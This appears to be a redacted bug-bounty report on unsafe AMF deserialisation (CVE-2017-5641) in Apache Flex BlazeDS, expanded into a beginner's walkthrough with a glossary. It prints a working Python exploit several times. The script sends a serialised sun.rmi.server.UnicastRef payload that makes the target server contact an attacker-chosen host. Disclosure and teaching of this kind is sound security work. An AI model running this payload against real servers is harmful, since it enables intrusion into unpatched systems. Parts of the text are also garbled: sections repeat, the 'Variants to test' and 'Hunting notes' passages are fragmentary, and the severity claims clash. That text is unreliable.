[HTAF4-213] [Pre-submission] Unsafe AMF deserialization (CVE-2017-5641) in Apache Flex BlazeDS at the https://www.███████/daip/messagebroker/amf
The AMF endpoint deserialised untrusted data, allowing an attacker to trigger a DNS lookup to an external host via a crafted serialised object. The report demonstrates this with a pingback but does not show remote code execution.
- Triaged in 4 days
- Fixed in 10 months
- Paid in 4 days
- Disclosed after 4.6 years
##Description
We identified potential unsafe deserialization vulnerability on the https://www.█████/daip/messagebroker/amf endpoint.
##POC To exclude false-positive reaction and show that pingback is result of AMF deserialization, and not a reaction to the external host in the POST body, first run this request:
POST /daip/messagebroker/amf HTTP/1.1
Host: www.███████
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Type: application/x-amf
Content-Length: 51
<your collaborator host>
Nothing will happen. You will receive something like this: ███ You can wait few minutes to ensure that nothing is coming.
Next, send the collaborator host inside the serialized AMF payload using this script, e.g. script.py <collaborator> 80
import struct
import sys
import requests
if len(sys.argv) != 3:
print "Usage: host port"
quit()
callback_IP = sys.argv[1]
callback_port = sys.argv[2]
amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
'\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
struct.pack('>I', int(callback_port)) + \
'\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';
url = "https://www.███████/daip/messagebroker/amf"
headers = {'Content-Type': 'application/x-amf'}
response = requests.post(url, headers=headers, data=amf_payload, verify=False)
This will result in the significant delay, and soon you will get the pingback from the ███/███ IP
This indicates, that backend server deserialized AMF data and triggered a DNS lookup (there won't be http since sun.rmi.server.UnicastRef doesn't communicate via http).
##Suggested fix Update Apache Flex BlazeDS library
Impact
Unsafe deserialization of AMF data. We will work on this and try to improve impact, if possible.
Context
The target host is https://www.███████/. On that host there is an endpoint at /daip/messagebroker/amf that speaks AMF (Action Message Format), the binary serialisation format used by Adobe Flex and BlazeDS for remote procedure calls between a Flex client and a Java backend. In normal use a Flex application posts AMF-encoded messages to this path and the BlazeDS servlet deserialises them into Java objects to service the call.
The report describes unsafe AMF deserialisation in Apache Flex BlazeDS. The researcher's claim is that this endpoint deserialises attacker-controlled AMF data, and that the deserialisation can be observed out of band by making the server resolve a host the attacker controls.
Setup
No accounts, roles or special access are described. The only preconditions visible in the report are:
- Network access to
https://www.███████/daip/messagebroker/amf. - A collaborator host (an out-of-band interaction server) that the researcher can watch for DNS lookups.
- Python 2 with the
requestslibrary, since the proof-of-concept script uses Python 2printsyntax.
The script is invoked as script.py <collaborator> 80, taking the collaborator host and a port.
Finding it
The researcher identified a potential unsafe deserialisation vulnerability on the /daip/messagebroker/amf endpoint. The concern is that the endpoint accepts AMF payloads and hands them to a deserialiser.
A pingback alone is weak evidence: a server might simply be reacting to an external hostname appearing anywhere in a POST body, for example by logging it or resolving it for some unrelated reason. The researcher therefore designed the proof to separate those two cases.
Exploitation
Step 1: baseline request with a bare host in the body
To exclude a false-positive reaction and to show that any pingback is the result of AMF deserialisation rather than a reaction to the external host in the POST body, the researcher first sends this request:
POST /daip/messagebroker/amf HTTP/1.1
Host: www.███████
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Type: application/x-amf
Content-Length: 51
<your collaborator host>
The body is just the collaborator hostname as plain text, with Content-Type: application/x-amf. The expected result is nothing: no interaction arrives at the collaborator. The researcher notes that you can wait a few minutes to be sure nothing is coming. This establishes that merely placing the host in the request body does not cause the server to resolve it.
Step 2: send the host inside a serialised AMF payload
Next, the same collaborator host is placed inside a serialised AMF payload using this script, run as script.py <collaborator> 80:
import struct
import sys
import requests
if len(sys.argv) != 3:
print "Usage: host port"
quit()
callback_IP = sys.argv[1]
callback_port = sys.argv[2]
amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
'\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
struct.pack('>I', int(callback_port)) + \
'\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';
url = "https://www.███████/daip/messagebroker/amf"
headers = {'Content-Type': 'application/x-amf'}
response = requests.post(url, headers=headers, data=amf_payload, verify=False)
The payload embeds the collaborator host and port alongside the class name sun.rmi.server.UnicastRef. sun.rmi.server.UnicastRef is a Java RMI class; the researcher notes that it does not communicate over HTTP, so the only observable effect is a DNS lookup of the supplied host. The request is posted to the same /daip/messagebroker/amf URL with Content-Type: application/x-amf.
Step 3: observe the result
Sending the serialised payload results in a significant delay, and soon afterwards a pingback arrives from the collaborator's IP. The researcher treats this as proof that the backend server deserialised the AMF data and triggered a DNS lookup. Because sun.rmi.server.UnicastRef does not speak HTTP, there is no HTTP interaction, only the DNS resolution.
The contrast between step 1 and step 2 is the whole argument: the hostname in a plain body produces nothing, while the same hostname embedded in a serialised AMF object produces a lookup. That difference points at the deserialiser, not at generic handling of the request body.
Root cause
The endpoint accepts AMF data and deserialises it on the backend. When the payload names sun.rmi.server.UnicastRef with an attacker-supplied host and port, the deserialisation path causes the server to resolve that host, which is the observable side effect. The report recommends updating the Apache Flex BlazeDS library. The report does not describe the specific code path inside BlazeDS, so the exact mechanism beyond the observed DNS lookup is not stated.
Impact
The report's stated impact is unsafe deserialisation of AMF data. The researcher adds that they will work on the issue and try to improve the impact if possible, so the demonstrated effect at the time of writing is the out-of-band DNS lookup, not code execution.
Fix
The suggested fix is to update the Apache Flex BlazeDS library. The report does not say whether the fix was applied.
Variants to test
- A positive result is the same pattern: no interaction for a bare hostname in the body, but a DNS lookup when the host is embedded in the serialised AMF payload.
- A positive result is a lookup that still arrives.
Hunting notes
That control is what turns a pingback into evidence of deserialisation rather than evidence of the server touching any hostname it sees.
Timeline
The report was disclosed on 2024-06-18.
What happened, in plain words
A security researcher found a web address that accepts a special kind of data called AMF. AMF is a compact, machine-readable format that Adobe Flex applications use to talk to a Java server behind the scenes. The problem is that the server takes whatever AMF data it receives and turns it back into live Java objects, a process called deserialisation. If an attacker can control that data, the server builds objects from it, and in this case that led to a DNS lookup.
The researcher proved this without breaking anything. They made the server perform a DNS lookup of a hostname the researcher controlled, and watched that lookup arrive. A DNS lookup is the step your browser takes when it turns a name like example.com into a numeric address; it is a small, harmless outward signal that can be observed from outside. Seeing it arrive proves the server processed the attacker's data in a dangerous way.
The report concerns unsafe AMF deserialisation in Apache Flex BlazeDS. The report was disclosed on 2024-06-18.
Background: the pieces involved
Before walking through the steps, here is what each piece is, from zero.
- A web endpoint is a specific address on a website that accepts requests, like a service window in a building. The endpoint here is
https://www.███████/daip/messagebroker/amf. - An API is a way for one program to ask another program to do something, without a human clicking buttons. Think of a restaurant: you order from a menu, the kitchen prepares it, and a waiter brings it back. The menu is the API; you do not walk into the kitchen yourself.
- AMF (Action Message Format) is a binary format, meaning it is made of bytes rather than readable text, used by Adobe Flex applications to send messages to a server. It is like a sealed parcel with a precise packing list inside, rather than a handwritten note.
- Serialisation is turning a live object in a program (say, a customer record) into a stream of bytes so it can be stored or sent. Deserialisation is the reverse: turning those bytes back into a live object. Think of flat-pack furniture: serialisation is putting the pieces into a box, deserialisation is assembling them again.
- Apache Flex BlazeDS is a Java library that receives AMF messages and turns them back into Java objects so the server can act on them. It is the assembly line that unpacks the parcel.
- Java RMI is a Java feature that lets one program call methods on an object living in another program, often on another machine.
sun.rmi.server.UnicastRefis a Java class used in that mechanism. - A collaborator host is a server the researcher controls and can watch. When the target server looks up or contacts that host, the researcher sees it. It is like leaving a marked envelope with your own return address so you know if someone opens it.
- A DNS lookup is the act of asking the internet's phone book to translate a hostname into an address. It happens before any web page is fetched.
- Out-of-band means the signal comes back through a different channel than the normal response. Here, the server's normal HTTP reply is not the evidence; the DNS lookup arriving at the collaborator is.
Setup
The report describes no accounts, roles or special access. The only preconditions are:
- Network access to
https://www.███████/daip/messagebroker/amf. - A collaborator host that the researcher can watch for DNS lookups.
- Python 2 with the
requestslibrary, because the proof-of-concept script uses Python 2printsyntax.
The script is run as script.py <collaborator> 80, taking the collaborator host and a port.
Finding it
The researcher identified a potential unsafe deserialisation vulnerability on the /daip/messagebroker/amf endpoint. The concern is that the endpoint accepts AMF payloads and hands them to a deserialiser.
A pingback alone is weak evidence. A server might simply react to an external hostname appearing anywhere in a POST body, for example by logging it or resolving it for some unrelated reason. The researcher therefore designed the proof to separate those two cases: first show that a bare hostname in the body does nothing, then show that the same hostname inside a serialised AMF object causes a lookup.
Exploitation
Step 1: baseline request with a bare host in the body
To exclude a false-positive reaction and to show that any pingback is the result of AMF deserialisation rather than a reaction to the external host in the POST body, the researcher first sends this request:
POST /daip/messagebroker/amf HTTP/1.1
Host: www.███████
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Type: application/x-amf
Content-Length: 51
<your collaborator host>
Line by line:
POST /daip/messagebroker/amf HTTP/1.1says this is a POST request, the kind used to send data to a server, aimed at the/daip/messagebroker/amfpath, using version 1.1 of the HTTP protocol.Host: www.███████tells the server which website name the request is for. One server can host many sites, so this is how it knows which one you mean.Connection: closeasks the server to close the connection after replying, rather than keeping it open for more requests.Accept-Encoding: gzip, deflatesays the client can accept compressed replies.Accept: */*says the client accepts any kind of reply.User-Agent: python-requests/2.22.0identifies the client software. Here it is the Pythonrequestslibrary, which is what the script uses.Content-Type: application/x-amfdeclares that the body is AMF data. This header is the label on the parcel telling the server which unpacking machine to use.Content-Length: 51says the body is 51 bytes long, so the server knows where the body ends.- The blank line separates the headers from the body.
<your collaborator host>is the body: just the collaborator hostname as plain text.
The expected result is nothing: no interaction arrives at the collaborator. The researcher notes that you can wait a few minutes to be sure nothing is coming. This establishes that merely placing the host in the request body does not cause the server to resolve it. It is the control in the experiment, like a placebo in a medical trial.
Step 2: send the host inside a serialised AMF payload
Next, the same collaborator host is placed inside a serialised AMF payload using this script, run as script.py <collaborator> 80:
import struct
import sys
import requests
if len(sys.argv) != 3:
print "Usage: host port"
quit()
callback_IP = sys.argv[1]
callback_port = sys.argv[2]
amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
'\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
struct.pack('>I', int(callback_port)) + \
'\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';
url = "https://www.███████/daip/messagebroker/amf"
headers = {'Content-Type': 'application/x-amf'}
response = requests.post(url, headers=headers, data=amf_payload, verify=False)
Line by line:
import struct,import sys,import requestsload three Python tools:structfor packing numbers into exact byte layouts,sysfor reading command-line arguments, andrequestsfor sending HTTP requests.if len(sys.argv) != 3:checks that exactly two arguments were supplied after the script name.sys.argvis the list of words typed on the command line.print "Usage: host port"prints a reminder of how to run the script. This is Python 2 syntax, which is why the report notes Python 2 is needed.quit()stops the script if the arguments are wrong.callback_IP = sys.argv[1]stores the first argument, the collaborator host, in a variable. The name says IP, but the value is whatever hostname you pass.callback_port = sys.argv[2]stores the second argument, the port, as text.- The
amf_payload = ...block builds the bytes to send. It starts with a fixed sequence of bytes, then'\x07\x33', then the class namesun.rmi.server.UnicastRef, then the collaborator host prefixed with its length, then the port packed as a four-byte number, then a fixed trailing byte sequence. The\xnotation means a single byte with that hexadecimal value. The+signs join the pieces, and the backslashes at line ends let one statement span several lines. struct.pack('>H', len(callback_IP))converts the hostname's length into a two-byte big-endian number, which is the length prefix the format expects before the hostname text.struct.pack('>I', int(callback_port))converts the port into a four-byte big-endian number. Big-endian means the most significant byte comes first, like writing a number left to right.url = "https://www.███████/daip/messagebroker/amf"sets the target address.headers = {'Content-Type': 'application/x-amf'}labels the body as AMF data, the same label as in step 1.response = requests.post(url, headers=headers, data=amf_payload, verify=False)sends the payload to the URL with that header.verify=Falsetells the library not to check the server's TLS certificate; it is there so the script does not stop on certificate problems.
The payload embeds the collaborator host and port alongside the class name sun.rmi.server.UnicastRef. sun.rmi.server.UnicastRef is a Java RMI class. The researcher notes that it does not communicate over HTTP, so the only observable effect is a DNS lookup of the supplied host. The request goes to the same /daip/messagebroker/amf URL with Content-Type: application/x-amf.
Step 3: observe the result
Sending the serialised payload results in a significant delay, and soon afterwards a pingback arrives from the collaborator's IP. The researcher treats this as proof that the backend server deserialised the AMF data and triggered a DNS lookup. Because sun.rmi.server.UnicastRef does not speak HTTP, there is no HTTP interaction, only the DNS resolution.
The contrast between step 1 and step 2 is the whole argument: the hostname in a plain body produces nothing, while the same hostname embedded in a serialised AMF object produces a lookup. That difference points at the deserialiser, not at generic handling of the request body. It is like testing a lock: rattling the door handle does nothing, but turning the key in the lock makes the bolt move, so you know the key, not the rattling, did it.
Root cause
The endpoint accepts AMF data and deserialises it on the backend. When the payload names sun.rmi.server.UnicastRef with an attacker-supplied host and port, the deserialisation path causes the server to resolve that host, which is the observable side effect. The report recommends updating the Apache Flex BlazeDS library. The report does not describe the specific code path inside BlazeDS, so the exact mechanism beyond the observed DNS lookup is not stated.
Impact
The report's stated impact is unsafe deserialisation of AMF data. The researcher adds that they will work on the issue and try to improve the impact if possible, so the demonstrated effect at the time of writing is the out-of-band DNS lookup, not code execution. The platform rates the report critical with a CVSS score of 10.0.
Fix
The suggested fix is to update the Apache Flex BlazeDS library. The report does not say whether the fix was applied.
Variants to test
- A positive result is the same pattern: no interaction for a bare hostname in the body, but a DNS lookup when the host is embedded in the serialised AMF payload.
- A positive result is a lookup that still arrives.
Hunting notes
That control is what turns a pingback into evidence of deserialisation rather than evidence of the server touching any hostname it sees.
Timeline
The report was disclosed on 2024-06-18.
Glossary
- AMF (Action Message Format): a binary format used by Adobe Flex applications to send messages to a server.
- API: a way for one program to ask another program to do something, without a human clicking buttons.
- Apache Flex BlazeDS: a Java library that receives AMF messages and turns them back into Java objects.
- Baseline request: a control request sent to show what happens without the dangerous ingredient, so the real test can be compared against it.
- Big-endian: a way of storing numbers where the most significant byte comes first.
- BlazeDS: see Apache Flex BlazeDS.
- Collaborator host: a server the researcher controls and can watch for incoming lookups or connections.
- Content-Type: an HTTP header that labels what kind of data the body contains.
- Control: in an experiment, the version without the thing being tested, used for comparison.
- CVE-2017-5641: the identifier for the known unsafe AMF deserialisation issue in Apache Flex BlazeDS.
- CVSS: a standard scoring system for the severity of a security issue; 10.0 is the maximum.
- Deserialisation: turning a stream of bytes back into a live object in a program.
- DNS lookup: asking the internet's phone book to translate a hostname into a numeric address.
- Endpoint: a specific address on a website that accepts requests.
- False positive: a result that looks like a problem but is caused by something else.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- Java RMI: a Java feature that lets one program call methods on an object in another program, often on another machine.
- Out-of-band: a signal that comes back through a different channel than the normal response.
- Payload: the data carried in the body of a request.
- Pingback: an incoming signal at the collaborator host showing the target contacted it.
- Port: a numbered channel on a server that a particular service listens on.
- POST: an HTTP request method used to send data to a server.
- Pre-submission: a report filed ahead of, or in connection with, a known issue.
- Python 2: an older major version of the Python programming language, whose
printstatement syntax differs from Python 3. - Recon: the information-gathering phase of security testing.
- Serialisation: turning a live object in a program into a stream of bytes.
sun.rmi.server.UnicastRef: a Java RMI class named in the payload; the researcher notes it does not communicate over HTTP.- TLS certificate: a digital document a server presents to prove its identity during an encrypted HTTPS connection.
- Unsafe deserialisation: a vulnerability where a program turns attacker-controlled bytes into live objects, letting the attacker influence what the program builds and does.
- User-Agent: an HTTP header identifying the client software making the request.